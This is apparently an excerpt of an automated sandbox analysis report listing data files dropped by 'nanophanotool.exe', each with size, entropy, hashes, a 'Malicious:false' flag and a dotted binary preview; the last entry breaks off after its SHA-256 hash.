                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):383011
                                                                                                                                                                                                                                        Entropy (8bit):5.424530593988954
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:rmRAsByIhGvbSqOp7f21zg2mKP7s4Uzwn5el4nYHOp1D:rmRGxvbSqOp7f21vs4kM5el4Jp1D
                                                                                                                                                                                                                                        MD5:AF0FD9179417BA1D7FCCA3CC5BEE1532
                                                                                                                                                                                                                                        SHA1:F746077BBF6A73C6DE272D5855D4F1CA5C3AF086
                                                                                                                                                                                                                                        SHA-256:E900F6D0DD9D5A05B5297618F1FE1600C189313DA931A9CB390EE42383EB070F
                                                                                                                                                                                                                                        SHA-512:C94791D6B84200B302073B09357ABD2A1D7576B068BAE01DCCDA7BC154A6487145C83C9133848CCF4CB9E6DC6C5A9D4BE9D818E5A0C8F440A4E04AE8EABD4A29
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........S...h.....i.....j.+...k.:...l.E...n.M...o.R...p._...r.e...s.v...t.....v.....w.....y.....z.....|.....}.........................................................................3.....>.....M.....`.....h.....r.....................................................$.....<.....A.....P.....a.....h.....t...........................................................).....\.....o.....v.....{...........................................................).....A.....Z.....e.....i.....q.....x.....~...........................................................5.....X.....n.....w.........................................................................................!.....).....4.....;.....F.....v.......................>.....X.....p...........................................................&.....?.....W................................................... .....".....%. ...(.@...*.c...+.f...,.........../.....0.....1.....3.....4.....5.....6.L...7.c...8.....9.....;.....<.....=.....>.....?.....@.....A.....C.".
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):395064
                                                                                                                                                                                                                                        Entropy (8bit):5.365550895872654
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:9V01rV7gSsX5SEHDpaQe3D+qnRVd5qYx1Gp7KhaPW:96NFgSsX5S1V7d5qYx1Gp7KcPW
                                                                                                                                                                                                                                        MD5:181D2A0ECE4B67281D9D2323E9B9824D
                                                                                                                                                                                                                                        SHA1:E8BDC53757E96C12F3CD256C7812532DD524A0EA
                                                                                                                                                                                                                                        SHA-256:6629E68C457806621ED23AA53B3675336C3E643F911F8485118A412EF9ED14CE
                                                                                                                                                                                                                                        SHA-512:10D8CC9411CA475C9B659A2CC88D365E811217D957C82D9C144D94843BC7C7A254EE2451A6F485E92385A660FA01577CFFA0D64B6E9E658A87BEF8FCCBBEAF7E
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........E...h.....i.....j.....k.....l.#...n.+...o.0...p.=...r.C...s.T...t.]...v.r...w.....y.....z.....|.....}...............................................................................$.....4.....E.....N.....W.....r.....z.....................................................'.....7.....I.....V.....c...........................................................!.....`.....u.....z...........................................................+.....G.....f.......................................................................9.....E.....].....v.....................................................2.....F.....Y.....t.................................................................'.....a...................................<.....I.....Y.....a.....j.....n.....r...................................".....O.....d.....m.....x..................... .....".....%.....(.....*.....+.....,.!.....2.../.I...0.S...1.....3.....4.....5.....6.....7.....8.;...9.J...;.Z...<.h...=.v...>.....?.....@.....A.....C.....D...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):439920
                                                                                                                                                                                                                                        Entropy (8bit):5.766175831058526
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:f2jujSo9/D+Xgv3iWGb1vPiCUdhUo3Ymhz1QhjAB5cUE447e:Sc3N1Qhw5me
                                                                                                                                                                                                                                        MD5:18D49D5376237BB8A25413B55751A833
                                                                                                                                                                                                                                        SHA1:0B47A7381DE61742AC2184850822C5FA2AFA559E
                                                                                                                                                                                                                                        SHA-256:1729AA5C8A7E24A0DB98FEBCC91DF8B7B5C16F9B6BB13A2B0795038F2A14B981
                                                                                                                                                                                                                                        SHA-512:45344A533CC35C8CE05CF29B11DA6C0F97D8854DAE46CF45EF7D090558EF95C3BD5FDC284D9A7809F0B2BF30985002BE2AA6A4749C0D9AE9BDFF4AD13DE4E570
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........T...h.....i.....j.%...k.4...l.?...n.G...o.L...p.Y...r._...s.p...t.y...v.....w.....y.....z.....|.....}.........................................................................6.....E.....S.....h.....q...........................................................3.....M.....S.....g.....|.................................................................).....;.....n.............................................................................2.....N.....i.....{.................................................................+.....6.....V.....c...........................................................(.....7.....M.....d.....{...........................................................T.............................,.....i.....r.....................................................7.....V.....r............................................. .....".)...%.K...(.c...*.....+.....,.........../.....0.....1.....3.,...4.K...5.i...6.....7.....8.....9.....;.....<.....=.....>.....?.$...@.7...A.{...C...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):415447
                                                                                                                                                                                                                                        Entropy (8bit):5.426006792591415
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:Bm1HqF4Znh9GzBtNBXBLd1OUDcpryHF55NJND0bsRzlb2:UHrnhMzX5PJB4sRxC
                                                                                                                                                                                                                                        MD5:0D9DEA9E24645C2A3F58E4511C564A36
                                                                                                                                                                                                                                        SHA1:DCD2620A1935C667737EEA46CA7BB2BDCB31F3A6
                                                                                                                                                                                                                                        SHA-256:CA7B880391FCD319E976FCC9B5780EA71DE655492C4A52448C51AB2170EEEF3B
                                                                                                                                                                                                                                        SHA-512:8FCF871F8BE7727E2368DF74C05CA927C5F0BC3484C4934F83C0ABC98ECAF774AD7ABA56E1BF17C92B1076C0B8EB9C076CC949CD5427EFCADE9DDF14F6B56BC5
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........j...h.6...i.G...j.S...k.b...l.m...n.u...o.z...p.....r.....s.....t.....v.....w.....y.....z.....|.....}.....................................".....).....0.....1.....2.....7....._.....q.....................................................#.....%.....).....T.....c.....|...................................................../.....F.....P.....X.....h.....y...........................................................%.....:.....H.....Y.....r.................................................................+.....5.....F.....~...............................................).....;.....S.....V.....g.....y.............................................................................=.....y............................. .....H.....R.....i.....p.....z...............................................3.....f....................................... .....".....%.....(.....*.(...+.+...,.I.....Z.../.n...0.w...1.....3.....4.....5.....6.-...7.A...8.Y...9.l...;.|...<.....=.....>.....?.....@.....A.....C.!...D.+.
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):416977
                                                                                                                                                                                                                                        Entropy (8bit):5.401132911995885
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:isWkrPyGJeOMqieJVJJxhlOlxLu3ov5xKqSR0B:X3PBxj8zv5xKqSRW
                                                                                                                                                                                                                                        MD5:6A7232F316358D8376A1667426782796
                                                                                                                                                                                                                                        SHA1:8B70FE0F3AB2D73428F19ECD376C5DEBA4A0BB6C
                                                                                                                                                                                                                                        SHA-256:6A526CD5268B80DF24104A7F40F55E4F1068185FEBBBB5876BA2CB7F78410F84
                                                                                                                                                                                                                                        SHA-512:40D24B3D01E20AE150083B00BB6E10BCA81737C48219BCE22FA88FAAAD85BDC8C56AC9B1EB01854173B0ED792E34BDFBAC26D3605B6A35C14CF2824C000D0DA1
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........s...h.H...i.Y...j.e...k.t...l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.........................%.....-.....4.....;.....B.....C.....D.....I.....r...........................................................&.....(.....,.....W.....f...........................................................!.....9.....C.....K.....\.....n.................................................................%.....3.....D.....b.................................................................#.....+.....<.....t.....~...............................................(.....:.....T.....W.....h.....|.............................................................................N...................................0.....X.....b.....|.....................................................;.....^............................................. .....".....%.....(.3...*.P...+.S...,.q........./.....0.....1.....3.....4.....5.8...6.....7.....8.....9.....;.....<.....=.....>.....?.....@.+...A.a...C...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):430191
                                                                                                                                                                                                                                        Entropy (8bit):5.460617985170646
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:pqgw32K4aoFt3GgnSYn0vLi5OU6ois2a/7ulqr:pqgVzFt3GgnSY0vLi5OXo3/5r
                                                                                                                                                                                                                                        MD5:99EAA3D101354088379771FD85159DE1
                                                                                                                                                                                                                                        SHA1:A32DB810115D6DCF83A887E71D5B061B5EEFE41F
                                                                                                                                                                                                                                        SHA-256:33F4C20F7910BC3E636BC3BEC78F4807685153242DD4BC77648049772CF47423
                                                                                                                                                                                                                                        SHA-512:C6F87DA1B5C156AA206DC21A9DA3132CBFB0E12E10DA7DC3B60363089DE9E0124BBAD00A233E61325348223FC5953D4F23E46FE47EC8E7CA07702AC73F3FD2E9
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........L...h.....i.....j.....k.$...l./...n.7...o.<...p.I...r.O...s.`...t.i...v.~...w.....y.....z.....|.....}.........................................................................1.....@.....L.....Z.....e.....p...........................................................<.....E.....^.....n.....y...............................................+.....?.....T.................................................................M.....n...................................#.....+.....2.....8.....G.....Y.....n.....u...............................................T.....b.....t.....................................................,.....@.....G.....J.....K.....W.....c.....p.....y.................).....r.....z.............................9.....S.....d.....l.....r.....x.............................3.....V............................................. .....".....%.<...(.S...*.k...+.n...,.........../.....0.....1.....3.....4.'...5.G...6.....7.....8.....9.....;.....<.....=.....>.....?.....@.&...A._...C.....D...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):703696
                                                                                                                                                                                                                                        Entropy (8bit):4.836890612319527
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:ckXRY5eXN2hHO3j/jHXzvMBsiA2kkce8P/XyFGGJGswfaZ/LeUFCcYWIkHWajf+F:ck5LZ5w6pF
                                                                                                                                                                                                                                        MD5:AB9902025DCF7D5408BF6377B046272B
                                                                                                                                                                                                                                        SHA1:C9496E5AF3E2A43377290A4883C0555E27B1F10F
                                                                                                                                                                                                                                        SHA-256:983B15DCC31D0E9A3DA78CD6021E5ADD2A3C2247322ADED9454A5D148D127AAE
                                                                                                                                                                                                                                        SHA-512:D255D5F5B6B09AF2CDEC7B9C171EEBB1DE1094CC5B4DDF43A3D4310F8F5F223AC48B8DA97A07764D1B44F1D4A14FE3A0C92A0CE6FE9A4AE9A6B4A342E038F842
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:..........S.h.....i.....j.....k.....l.....n.#...o.(...p.5...r.;...s.L...t.U...v.j...w.w...y.}...z.....|.....}.........................................................................:.....W.....t.........................................E.....l.....n.....r...................................(.....A.....K.............................3.....?.....b.......................+.....5.....F.....[.....v.........................................8.....f.........................................*.....K.....e...................................H.....i.............................7.....t.....w...................................B.....I.....L.....M.....].....q...................................>.....J.................#.....e.........................................6.....t.................:.......................#.....7.....G.....w......... .....".....%.....(.....*.....+.....,.........../.....0.....1.]...3.t...4.....5.....6.N...7.r...8.....9.....;.....<.....=.....>.8...?.G...@.f...A.....C.!...D.2...E.j...F...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):443094
                                                                                                                                                                                                                                        Entropy (8bit):5.818852266406701
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:vQt/WMWyqiLJcPXPk5ELALWaQlKDEmLFGR:vQYfyqiWPXM5ELALWaQlwdLE
                                                                                                                                                                                                                                        MD5:C6C7396DBFB989F034D50BD053503366
                                                                                                                                                                                                                                        SHA1:089F176B88235CCE5BCA7ABFCC78254E93296D61
                                                                                                                                                                                                                                        SHA-256:439F7D6C23217C965179898754EDCEF8FD1248BDD9B436703BF1FF710701117A
                                                                                                                                                                                                                                        SHA-512:1476963F47B45D2D26536706B7EEBA34CFAE124A3087F7727C4EFE0F19610F94393012CDA462060B1A654827E41F463D7226AFA977654DCD85B27B7F8D1528EB
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........U...h.....i. ...j.,...k.;...l.F...n.N...o.S...p.`...r.f...s.w...t.....v.....w.....y.....z.....|.....}.........................................................................A.....U.....].....o.....z.....................................................9.....R.....q.....w...............................................!.....0.....6.....>.....N....._.....s.....................................................$.....:.....L.....h.......................................................................".....=.....|...............................................*.....9.....a.....d.....v...................................................................................d.......................t.........................................%.....0.....9.....P.....x.............................U.....r.....z........................... .....".....%.....(.....*.6...+.9...,.W.....h.../.....0.....1.....3.....4.....5.....6.D...7.Y...8.p...9.....;.....<.....=.....>.....?.....@.....A.(...C.I...D.T...E.t.
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):427791
                                                                                                                                                                                                                                        Entropy (8bit):5.48540289392965
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:iyCeC3SMQRB21BPDwY5oEcAVOlJgi/fzxzqg:iTJ6kDwY5oEc0i/fzxt
                                                                                                                                                                                                                                        MD5:D4BD9F20FD29519D6B017067E659442C
                                                                                                                                                                                                                                        SHA1:782283B65102DE4A0A61B901DEA4E52AB6998F22
                                                                                                                                                                                                                                        SHA-256:F33AFA6B8DF235B09B84377FC3C90403C159C87EDD8CD8004B7F6EDD65C85CE6
                                                                                                                                                                                                                                        SHA-512:ADF8D8EC17E8B05771F47B19E8027F88237AD61BCA42995F424C1F5BD6EFA92B23C69D363264714C1550B9CD0D03F66A7CFB792C3FBF9D5C173175B0A8C039DC
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........A...h.....i.....j.....k.....l.....n.!...o.&...p.3...r.9...s.J...t.S...v.h...w.u...y.{...z.....|.....}.....................................................................................*.....:.....B.....R.....y...............................................,.....D.....N.....X.....b.....m.....{.................................................................M.....c.....h.....o...........................................................%.....C.....d.................................................................3.....=.....L.....c.....v.....................................................-.....@.....P.....e.....|.................................................................Y.............................2.....m.....z.....................................................2.....H.....o............................................. .....".....%.....(.P...*.t...+.w...,.........../.....0.....1.....3. ...4.<...5.Q...6.....7.....8.....9.....;.....<.....=.....>.....?.....@.,...A.....C...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):660194
                                                                                                                                                                                                                                        Entropy (8bit):4.761695251077794
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:oLNvoUKEuNI0I4Ki1eg82ATs+Hc549x4moW037LJzk/k/N:xrnqJc5Axjw
                                                                                                                                                                                                                                        MD5:CBB817A58999D754F99582B72E1AE491
                                                                                                                                                                                                                                        SHA1:6EC3FD06DEE0B1FE5002CB0A4FE8EC533A51F9FD
                                                                                                                                                                                                                                        SHA-256:4BD7E466CB5F5B0A451E1192AA1ABAAF9526855A86D655F94C9CE2183EC80C25
                                                                                                                                                                                                                                        SHA-512:EFEF29CEDB7B08D37F9DF1705D36613F423E994A041B137D5C94D2555319FFB068BB311884C9D4269B0066746DACD508A7D01DF40A8561590461D5F02CB52F8B
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........e...h.,...i.=...j.I...k.X...l.c...n.k...o.p...p.}...r.....s.....t.....v.....w.....y.....z.....|.....}.................................................&.....'.....(.....*.....y............................. .....b.........................................?.....c.........................................?.....V.....o...................................3.....R...................................'.....1.....A.....M.....l.............................J.....................................................4.....@.....c.............................-.....l...................................P.....S.....n.....................................................%.....1.....J.....Y.....o.......................).................&.....n...............................................g.......................H...................................0.....E... .Y...".....%.....(.....*.....+."...,.@.....h.../.....0.....1.....3.....4.R...5.....6.....7.....8.B...9.v...;.....<.....=.....>.....?.....@.....A.....C...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):385361
                                                                                                                                                                                                                                        Entropy (8bit):5.543491670458518
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:M4pITVzssdlJ9EAjiws8cB7xjpZ/4LLXru9M9SOxDE/xUDvZv5pB5mEgb7:BpIXzJ9V2B1q5/5mz
                                                                                                                                                                                                                                        MD5:502E4A8B3301253ABE27C4FD790FBE90
                                                                                                                                                                                                                                        SHA1:17ABCD7A84DA5F01D12697E0DFFC753FFB49991A
                                                                                                                                                                                                                                        SHA-256:7D72E3ADB35E13EC90F2F4271AD2A9B817A2734DA423D972517F3CFF299165FD
                                                                                                                                                                                                                                        SHA-512:BD270ABAF9344C96B0F63FC8CEC04F0D0AC9FC343AB5A80F5B47E4B13B8B1C0C4B68F19550573A1D965BB18A27EDF29F5DD592944D754B80EA9684DBCEDEA822
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........0...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.*...t.3...v.H...w.U...y.[...z.j...|.p...}...........................................................................................!.....).....2.....M.....U.....`...........................................................&.....-.....:.....c.....t.........................................................../.....;.....C.....U.....e.....i.....s.....z...................................%.....H.....S.....Y.....a.....h.....n.....{.....................................................).....R.....q.....y.................................................................$.....+.........../.....7.....?.....J.....R.....].................".....).....u.................................................................'.....?.....k...............................................".....*... ./...".9...%.[...(.x...*.....+.....,.........../.....0.....1.....3.)...4.P...5.e...6.....7.....8.....9.....;.....<.....=.....>.....?.....@.%...A.Q...C.p.
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):404460
                                                                                                                                                                                                                                        Entropy (8bit):5.342349721117576
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:icM47G565vqimUwbQuBndO8gJGgnATm5A1vZcsToe4t2ht:iy7GsP5Ar
                                                                                                                                                                                                                                        MD5:39277AE2D91FDC1BD38BEA892B388485
                                                                                                                                                                                                                                        SHA1:FF787FB0156C40478D778B2A6856AD7B469BD7CB
                                                                                                                                                                                                                                        SHA-256:6D6D095A1B39C38C273BE35CD09EB1914BD3A53F05180A3B3EB41A81AE31D5D3
                                                                                                                                                                                                                                        SHA-512:BE2D8FBEDAA957F0C0823E7BEB80DE570EDD0B8E7599CF8F2991DC671BDCBBBE618C15B36705D83BE7B6E9A0D32EC00F519FC8543B548422CA8DCF07C0548AB4
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........Y...h.....i.....j.+...k.:...l.E...n.M...o.R...p._...r.e...s.v...t.....v.....w.....y.....z.....|.....}.........................................................................3.....E.....U.....i.....u...........................................................+.....H.....N.....Z.....m.....z.....................................................$.....8.....E.....p.......................................................................8.....W.....{................................................................. .....[.....m.....{...................................(.....4.....K.....x.....{.........................................................................................+.....\...................................+.....P.....Z.....r.....x...............................................-.....L............................................. .....".....%.....(.7...*.S...+.V...,.t........./.....0.....1.....3.....4.....5.1...6.i...7.....8.....9.....;.....<.....=.....>.....?.....@.....A.9.
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):1043803
                                                                                                                                                                                                                                        Entropy (8bit):4.044068430611977
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:LXNxfy+orMVjLn1ExBlhfg5yzntRMcA2i:rffyrrMFL1cB3g5yzMcA2i
                                                                                                                                                                                                                                        MD5:7006691481966109CCE413F48A349FF2
                                                                                                                                                                                                                                        SHA1:6BD243D753CF66074359ABE28CFAE75BCEDD2D23
                                                                                                                                                                                                                                        SHA-256:24EA4028DA66A293A43D27102012235198F42A1E271FE568C7FD78490A3EE647
                                                                                                                                                                                                                                        SHA-512:E12C0D1792A28BF4885E77185C2A0C5386438F142275B8F77317EB8A5CEE994B3241BB264D9502D60BFBCE9CF8B3B9F605C798D67819259F501719D054083BEA
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........(...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.#...v.8...w.E...y.K...z.Z...|.`...}.r.....z.................................................................M.....{.............................v.......................n.....p.....t.................E.....c.......................;.......................0.....m...............................................$.....`...................................0.....y.................9.............................!.....(.....F.....n.......................3.............................F...........;.....`.......................7.....:.....n.................$.....Z.....................................................E.....#.......................Q.................c.............................#...../.....s.............................B.................*.....?.....d............... .....".....%.}...(.....*.O...+.R...,.p........./.....0.....1.u...3.....4.....5.....6.....7.]...8.....9.....;.'...<.G...=.j...>.....?.....@.....A.9...C...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):965006
                                                                                                                                                                                                                                        Entropy (8bit):4.295544641165274
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:wM9fKUyABW3p1F9SviTlw2cfgvNFOJgr/p54JVQJMwKpaJC28+58XoX0Doq9OyUk:wM9fKU6225jM9h
                                                                                                                                                                                                                                        MD5:F809BF5184935C74C8E7086D34EA306C
                                                                                                                                                                                                                                        SHA1:709AB3DECFF033CF2FA433ECC5892A7AC2E3752E
                                                                                                                                                                                                                                        SHA-256:9BBFA7A9F2116281BF0AF1E8FFB279D1AA97AC3ED9EBC80C3ADE19E922D7E2D4
                                                                                                                                                                                                                                        SHA-512:DE4B14DD6018FDBDF5033ABDA4DA2CB9F5FCF26493788E35D88C07A538B84FDD663EE20255DFD9C1AAC201F0CCE846050D2925C55BF42D4029CB78B057930ACD
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........o...h.@...i.Z...j.f...k.u...l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.........................&...........5.....<.....C.....D.....E.....J.................5.....r.............................#.............................8.....~.......................T.....v.......................x...........#.....A.....c.......................s.......................=...................................V.................v...........>.....s.........................................h.....}.................L.....g.................n.......................:.....c.............................".....R.........................................%.....L.....s.................k...................................1.............................A.....V.....e...........".....r...........P...........>.............................U.....|... .....".....%.....(.q...*.....+.....,.........../.n...0.....1.#...3.F...4.....5.....6.O...7.....8.....9.$...;.Q...<.n...=.....>.....?.....@.....A.Z.
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):811437
                                                                                                                                                                                                                                        Entropy (8bit):4.342029978594925
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:1Jf31Mkgs3s5UWgHLRflsjj8cKGXdlogG0EeuLADh7Kle9dKj753ohP09XAyFHyJ:1Qzt5/5l
                                                                                                                                                                                                                                        MD5:2C41616DFE7FCDB4913CFAFE5D097F95
                                                                                                                                                                                                                                        SHA1:CF7D9E8AD3AA47D683E47F116528C0E4A9A159B0
                                                                                                                                                                                                                                        SHA-256:F11041C48831C93AA11BBF885D330739A33A42DB211DACCF80192668E2186ED3
                                                                                                                                                                                                                                        SHA-512:97329717E11BC63456C56022A7B7F5DA730DA133E3FC7B2CC660D63A955B1A639C556B857C039A004F92E5F35BE61BF33C035155BE0A361E3CD6D87B549DF811
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:..........y.h.....i.....j.....k.....l.....o.....p.....r.....s.....t.....v.....w.....y.....z.,...|.2...}.D.....L.....Q.....Y.....d.....l.....q.....y.............................................................................(.....7................................... .....Y.....k.............................=.....\.....z.............................^.................d.....................................................J.....w.......................F.....y...............................................,.....J.....t.................".....y.................E.....c...................................&.....G.....d.....................................................;...........P.................n.................j.........................................9.......................C.....{...........5.....>.....S..................... .....".....%.?...(.....*.....+.....,.........../.U...0.h...1.....3.....4.V...5.....6.)...7.J...8.....9.....;.....<.....=.....>.X...?.....@.....A.....C. ...D.<...E.o.
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):411446
                                                                                                                                                                                                                                        Entropy (8bit):5.6133974766805546
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:y1MAG26Pl1kY1bkQq/7I5NsA7WGgeh5X/0+gi1ZavXEAQwiBvVGI:9j2Yle66s5775X/R
                                                                                                                                                                                                                                        MD5:3A858619502C68D5F7DE599060F96DB9
                                                                                                                                                                                                                                        SHA1:80A66D9B5F1E04CDA19493FFC4A2F070200E0B62
                                                                                                                                                                                                                                        SHA-256:D81F28F69DA0036F9D77242B2A58B4A76F0D5C54B3E26EE96872AC54D7ABB841
                                                                                                                                                                                                                                        SHA-512:39A7EC0DFE62BCB3F69CE40100E952517B5123F70C70B77B4C9BE3D98296772F10D3083276BC43E1DB66ED4D9BFA385A458E829CA2A7D570825D7A69E8FBB5F4
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........}...h.\...i.m...j.w...k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.......".....'...../.....7.....?.....F.....M.....T.....U.....V.....X...........................................................L.....f.....h.....l.....................................................:.....O.....[.....~............................................... .....$.....,.....9.....N.....P.....S.....Z.....q.....................................................!.....(...../.....D.....X.....{.........................................3.....V.....e.....q.....|.............................................................................).....2.....9.....D.....L.....[.................!.....'.....o.................................................................9.....X.........................................!.....0.....G.....M... .X...".m...%.....(.....*.....+.....,.........../.....0.%...1.Z...3.g...4.}...5.....6.....7.....8.....9.2...;.B...<.M...=.Z...>.m...?.v...@.....A.....C...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):705061
                                                                                                                                                                                                                                        Entropy (8bit):4.868598768447113
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:wrccq9nty/KiDswU1nbx05kB3IjUUmEg5KuoLNiXElqnOyh:HGX35EEK
                                                                                                                                                                                                                                        MD5:EE70E9F3557B9C8C67BFB8DFCB51384D
                                                                                                                                                                                                                                        SHA1:FC4DFC35CDE1A00F97EEFE5E0A2B9B9C0149751E
                                                                                                                                                                                                                                        SHA-256:54324671A161F6D67C790BFD29349DB2E2D21F5012DC97E891F8F5268BDF7E22
                                                                                                                                                                                                                                        SHA-512:F4E1DA71CB0485851E8EBCD5D5CF971961737AD238353453DB938B4A82A68A6BBAF3DE7553F0FF1F915A0E6640A3E54F5368D9154B0A4AD38E439F5808C05B9F
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:............h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.,...|.2...}.D.....L.....Q.....Y.....a.....i.....p.....w.....~...................................!.....K.....d.....m.............................P.....R.....V.....~...................................%.....F.........................................1.....S.....y.............................!.....8.....Q.....[.....k.....{.............................A.....n.........................................(.....H.....l.....x.......................&.....=.........................................A.....D.....i.............................'...........1.....2.....B.....T.....f.....y.............................+.................$.....~...................................$.....R.......................<.....w.............................E.....u......... .....".....%.....(.....*.{...+.~...,.........../.....0. ...1.....3.....4.....5.....6.Z...7.}...8.....9.....;.....<.....=.....>.I...?.X...@.y...A.....C.1...D.J.
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):617109
                                                                                                                                                                                                                                        Entropy (8bit):5.143761316646653
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:LbeI8PzGSEiyqkAXsA5rzTExbWW7mQYrjuUco/9NjjFpvIx:LbDwz5qWK
                                                                                                                                                                                                                                        MD5:FF0A23974AEF88AFC86ECC806DBF1D60
                                                                                                                                                                                                                                        SHA1:E7BAE97CBB8692A0D106644DFAA9B7D7EA6FCEF0
                                                                                                                                                                                                                                        SHA-256:F245AB242AAFEEF37DB736C780476534FAD0706AA66DCB8B6B8CD181B4778385
